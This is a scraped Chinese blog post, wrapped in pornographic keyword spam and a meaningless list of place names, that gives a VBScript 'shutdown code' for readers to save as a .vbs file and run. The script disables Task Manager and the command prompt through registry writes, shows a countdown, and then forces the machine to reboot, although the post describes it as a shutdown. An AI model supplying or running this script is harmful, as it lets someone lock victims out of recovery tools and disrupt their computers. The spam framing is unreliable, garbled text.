无码av一区二区三区无码,在线观看老湿视频福利,日韩经典三级片,成 人色 网 站 欧美大片在线观看

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

關(guān)機(jī)代碼

2023-06-28 12:59 作者:蘇浩然編程  | 我要投稿

今天帶來(lái)的是關(guān)機(jī)代碼

首先創(chuàng)建一個(gè)新的文本文檔格式為txt,打開

接著輸入以下代碼



set s=createobject("wscript.shell")

set bag=getobject("winmgmts:\\.\root\cimv2")

set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")

For Each id in pipe

if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"

id.terminate()

else

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"

for i=1 to 60

s.popup"系統(tǒng)將在"& 60-i &"秒后關(guān)機(jī)...",1,"系統(tǒng)提示",4096+48

next

Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")

For Each eOs In colOS

eOs.Win32Shutdown(2)

Next

end if

Next



接著保存,改后綴名為vbs

就可以了

喜歡的請(qǐng)一鍵三連謝謝

本文禁止轉(zhuǎn)載或摘編


關(guān)機(jī)代碼的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
格尔木市| 婺源县| 江西省| 浦江县| 同江市| 平山县| 宁都县| 武威市| 沙洋县| 万全县| 民权县| 平罗县| 淮安市| 英吉沙县| 广西| 东丰县| 湾仔区| 曲麻莱县| 四川省| 彭水| 鸡泽县| 南宁市| 霞浦县| 丽江市| 威海市| 辛集市| 哈密市| 邳州市| 临夏市| 乌审旗| 邻水| 金坛市| 武夷山市| 应城市| 仁怀市| 东宁县| 浙江省| 钦州市| 佛教| 大丰市| 新邵县|